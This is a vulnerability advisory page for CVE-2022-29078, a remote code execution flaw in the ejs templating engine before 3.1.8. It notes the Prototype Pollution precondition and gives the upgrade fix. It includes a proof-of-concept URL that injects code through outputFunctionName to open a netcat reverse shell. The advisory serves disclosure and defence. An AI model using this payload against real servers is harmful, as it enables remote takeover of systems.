Remote Code Execution (RCE) Affecting org.webjars.npm:ejs package, versions [,3.1.8)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
29.73% (98th
percentile)
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Test your applications- Snyk ID SNYK-JAVA-ORGWEBJARSNPM-2803308
- published 26 Apr 2022
- disclosed 26 Apr 2022
- credit evi0s
Introduced: 26 Apr 2022
CVE-2022-29078 Open this link in a new tabHow to fix?
Upgrade org.webjars.npm:ejs
to version 3.1.8 or higher.
Overview
org.webjars.npm:ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options
parameter of renderFile
, which makes it possible to inject code into outputFunctionName
.
Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.
PoC:
Creation of reverse shell:
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
CVSS Scores
version 3.1